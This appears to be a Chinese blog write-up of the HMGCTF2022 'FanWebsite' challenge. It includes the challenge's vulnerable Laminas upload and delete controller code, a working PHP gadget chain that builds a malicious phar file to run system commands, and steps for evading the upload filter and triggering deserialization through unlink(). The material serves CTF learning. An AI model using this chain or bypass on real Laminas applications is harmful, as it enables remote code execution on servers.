HMGCTF2022-FanWebsite


HMGCTF2022-FanWebsite

知识点概要:phar反序列化、文件上传

题目首页

www.zip源码泄露

主页面标题是Laminas MVC Skeleton,说明是Laminas MVC架构的框架

MVC框架先看路由,在www/module/Album/src/Controller/AlbumController.php

<?php
namespace Album\Controller;

use Album\Model\AlbumTable;
use Laminas\Mvc\Controller\AbstractActionController;
use Laminas\View\Model\ViewModel;
use Album\Form\AlbumForm;
use Album\Form\UploadForm;
use Album\Model\Album;

class AlbumController extends AbstractActionController
{
    // Add this property:
    private $table;
    private $white_list;

    public function __construct(AlbumTable $table){
        $this->table = $table;
        $this->white_list = array('.jpg','.jpeg','.png');
    }

    public function indexAction()
    {
        return new ViewModel([
            'albums' => $this->table->fetchAll(),
        ]);
    }

    public function addAction()
    {
        $form = new AlbumForm();
        $form->get('submit')->setValue('Add');

        $request = $this->getRequest();

        if (! $request->isPost()) {
            return ['form' => $form];
        }

        $album = new Album();
        $form->setInputFilter($album->getInputFilter());
        $form->setData($request->getPost());

        if (! $form->isValid()) {
            return ['form' => $form];
        }

        $album->exchangeArray($form->getData());
        $this->table->saveAlbum($album);
        return $this->redirect()->toRoute('album');
    }


    public function editAction()
    {
        $id = (int) $this->params()->fromRoute('id', 0);

        if (0 === $id) {
            return $this->redirect()->toRoute('album', ['action' => 'add']);
        }

        // Retrieve the album with the specified id. Doing so raises
        // an exception if the album is not found, which should result
        // in redirecting to the landing page.
        try {
            $album = $this->table->getAlbum($id);
        } catch (\Exception $e) {
            return $this->redirect()->toRoute('album', ['action' => 'index']);
        }

        $form = new AlbumForm();
        $form->bind($album);
        $form->get('submit')->setAttribute('value', 'Edit');

        $request = $this->getRequest();
        $viewData = ['id' => $id, 'form' => $form];

        if (! $request->isPost()) {
            return $viewData;
        }

        $form->setInputFilter($album->getInputFilter());
        $form->setData($request->getPost());

        if (! $form->isValid()) {
            return $viewData;
        }

        $this->table->saveAlbum($album);

        // Redirect to album list
        return $this->redirect()->toRoute('album', ['action' => 'index']);
    }


    public function deleteAction()
    {
        $id = (int) $this->params()->fromRoute('id', 0);
        if (!$id) {
            return $this->redirect()->toRoute('album');
        }

        $request = $this->getRequest();
        if ($request->isPost()) {
            $del = $request->getPost('del', 'No');

            if ($del == 'Yes') {
                $id = (int) $request->getPost('id');
                $this->table->deleteAlbum($id);
            }

            // Redirect to list of albums
            return $this->redirect()->toRoute('album');
        }

        return [
            'id'    => $id,
            'album' => $this->table->getAlbum($id),
        ];
    }


    public function imgdeleteAction()
    {
        $request = $this->getRequest();
        if(isset($request->getPost()['imgpath'])){
            $imgpath = $request->getPost()['imgpath'];
            $base = substr($imgpath,-4,4);
            if(in_array($base,$this->white_list)){     //白名单
                @unlink($imgpath);
            }else{
                echo 'Only Img File Can Be Deleted!';
            }
        }
    }
    public function imguploadAction()
    {
        $form = new UploadForm('upload-form');

        $request = $this->getRequest();
        if ($request->isPost()) {
            // Make certain to merge the $_FILES info!
            $post = array_merge_recursive(
                $request->getPost()->toArray(),
                $request->getFiles()->toArray()
            );

            $form->setData($post);
            if ($form->isValid()) {
                $data = $form->getData();
                $base = substr($data["image-file"]["name"],-4,4);
                if(in_array($base,$this->white_list)){   //白名单限制
                    $cont = file_get_contents($data["image-file"]["tmp_name"]);
                    if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
                        die("Not This");
                    }
                    if($data["image-file"]["size"]<3000){
                        die("The picture size must be more than 3kb");
                    }
                    $img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
                    echo $img_path;
                    $form->saveImg($data["image-file"]["tmp_name"],$img_path);
                }else{
                    echo 'Only Img Can Be Uploaded!';
                }
                // Form is valid, save the form!
                //return $this->redirect()->toRoute('upload-form/success');
            }
        }

        return ['form' => $form];
    }

}

有一个文件上传功能

public function imguploadAction()
{
    $form = new UploadForm('upload-form');

    $request = $this->getRequest();
    if ($request->isPost()) {
        // Make certain to merge the $_FILES info!
        $post = array_merge_recursive(
            $request->getPost()->toArray(),
            $request->getFiles()->toArray()
        );

        $form->setData($post);
        if ($form->isValid()) {
            $data = $form->getData();
            $base = substr($data["image-file"]["name"],-4,4);
            if(in_array($base,$this->white_list)){   //白名单限制
                $cont = file_get_contents($data["image-file"]["tmp_name"]);
                if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
                    die("Not This");
                }
                if($data["image-file"]["size"]<3000){
                    die("The picture size must be more than 3kb");
                }
                $img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
                echo $img_path;
                $form->saveImg($data["image-file"]["tmp_name"],$img_path);
            }else{
                echo 'Only Img Can Be Uploaded!';
            }
            // Form is valid, save the form!
            //return $this->redirect()->toRoute('upload-form/success');
        }
    }

    return ['form' => $form];
}

白名单限制只能.jpg .jpeg .png三种后缀,有一个正则过滤phar文件"/<\?|php|HALT\_COMPILER/i"

找利用点,在imgdeleteAction()有@unlink($imgpath);,可以触发phar反序列化,原理是unlink()函数在通过phar://伪协议解析phar文件时,会将meta-data进行反序列化

public function imgdeleteAction()
{
    $request = $this->getRequest();
    if(isset($request->getPost()['imgpath'])){
        $imgpath = $request->getPost()['imgpath'];
        $base = substr($imgpath,-4,4);
        if(in_array($base,$this->white_list)){     //白名单
            @unlink($imgpath);
        }else{
            echo 'Only Img File Can Be Deleted!';
        }
    }
}

构造如下exploit,本地php环境运行即会自动在当前目录生成phar.phar文件(笔者此处用的是phpstudy集成环境)

注意:要将php.ini中phar.readonly选项设置为Off,否则无法生成phar文件

<?php
namespace Laminas\View\Resolver{
	class TemplateMapResolver{
		protected $map = ["setBody"=>"system"];
	}
}

namespace Laminas\View\Renderer{
	class PhpRenderer{
		private $__helpers;
		function __construct(){
			$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
		}
	}
}

namespace Laminas\Log\Writer{
	abstract class AbstractWriter{}
	
	class Mail extends AbstractWriter{
		protected $eventsToMail = ["cat /flag"];
		protected $subjectPrependText = null;
		protected $mail;
		function __construct(){
			$this->mail = new \Laminas\View\Renderer\PhpRenderer();
		}
	}
}

namespace Laminas\Log{
	class Logger{
		protected $writers;
		function __construct(){
			$this->writers = [new \Laminas\Log\Writer\Mail()];
		}
	}
}

namespace{
$a = new \Laminas\Log\Logger();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();
}

用xxd查看生成的phar文件16进制编码,在ASCII码侧可看到meta-data部分序列化的数据

由于会对phar文件的静态特征进行正则过滤,所以可以先gzip压缩,再修改后缀为.png,以此绕过正则过滤

参考:https://www.freebuf.com/articles/web/291992.html

imguploadAction()要求上传文件大小必须大于3kb,那么我们可以用16进制编辑器再将文件填充到大于3kb

if($data["image-file"]["size"]<3000){
    die("The picture size must be more than 3kb");
}

/album/imgupload上传修改好的png文件,返回图片的路径

然后在/album/imgdelete用phar伪协议访问图片地址,从而用unlink()函数触发phar反序列化

phar:///var/www/public/img/a9a9ccc55eab0928c1f05e1647a12575.png

点击提交,则成功获取flag

参考

https://blog.csdn.net/m0_51078229/article/details/123660344

https://www.freebuf.com/articles/web/291992.html


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录